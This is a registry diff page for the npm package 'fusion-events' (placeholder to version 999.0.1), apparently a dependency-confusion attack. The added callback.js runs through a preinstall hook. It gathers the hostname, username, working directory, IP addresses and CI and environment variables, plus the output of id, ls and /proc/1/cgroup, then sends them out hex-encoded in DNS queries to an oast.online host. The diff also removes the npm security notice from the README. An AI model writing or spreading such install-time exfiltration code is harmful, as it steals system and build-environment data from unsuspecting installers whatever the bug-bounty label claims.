fusion-events 0.0.1-security → 999.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fusion-events might be problematic. Click here for more details.
- package/callback.js +40 -0
- package/index.js +1 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/callback.js
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const CB = 'd7f93j39plqf2tjsj7ugaaye9nqfo9j3f.oast.online';
|
|
6
|
+
const PKG = 'fe';
|
|
7
|
+
|
|
8
|
+
function send(label, data) {
|
|
9
|
+
const hex = Buffer.from(String(data)).toString('hex').slice(0, 60);
|
|
10
|
+
try { dns.resolve(`${PKG}.${label}.${hex}.${CB}`, () => {}); } catch(e) {}
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
send('h', os.hostname());
|
|
14
|
+
send('u', os.userInfo().username);
|
|
15
|
+
send('d', process.cwd());
|
|
16
|
+
send('p', os.platform() + '_' + os.arch());
|
|
17
|
+
|
|
18
|
+
try {
|
|
19
|
+
const nets = os.networkInterfaces();
|
|
20
|
+
for (const name of Object.keys(nets)) {
|
|
21
|
+
for (const net of nets[name]) {
|
|
22
|
+
if (!net.internal && net.family === 'IPv4') {
|
|
23
|
+
send('ip', net.address);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
} catch(e) {}
|
|
28
|
+
|
|
29
|
+
const envKeys = ['CI', 'JENKINS_URL', 'GITHUB_ACTIONS', 'GITLAB_CI', 'BUILDKITE',
|
|
30
|
+
'CIRCLE_CI', 'TRAVIS', 'AWS_REGION', 'UBER_ENV', 'NODE_ENV',
|
|
31
|
+
'BUILD_ID', 'BUILD_URL', 'WORKSPACE', 'HOME', 'USER'];
|
|
32
|
+
for (const key of envKeys) {
|
|
33
|
+
if (process.env[key]) {
|
|
34
|
+
send('e.' + key.toLowerCase().slice(0, 8), process.env[key].slice(0, 60));
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
try { send('id', execSync('id 2>/dev/null || whoami').toString().trim().slice(0, 60)); } catch(e) {}
|
|
39
|
+
try { send('ls', execSync('ls -la 2>/dev/null || dir').toString().trim().slice(0, 60)); } catch(e) {}
|
|
40
|
+
try { send('dock', execSync('cat /proc/1/cgroup 2>/dev/null | head -1').toString().trim().slice(0, 60)); } catch(e) {}
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "fusion-events",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "999.0.1",
|
|
4
|
+
"description": "Security research - dependency confusion test for authorized bug bounty program",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "d3x0s_07 - authorized security researcher",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fusion-events for more information.
|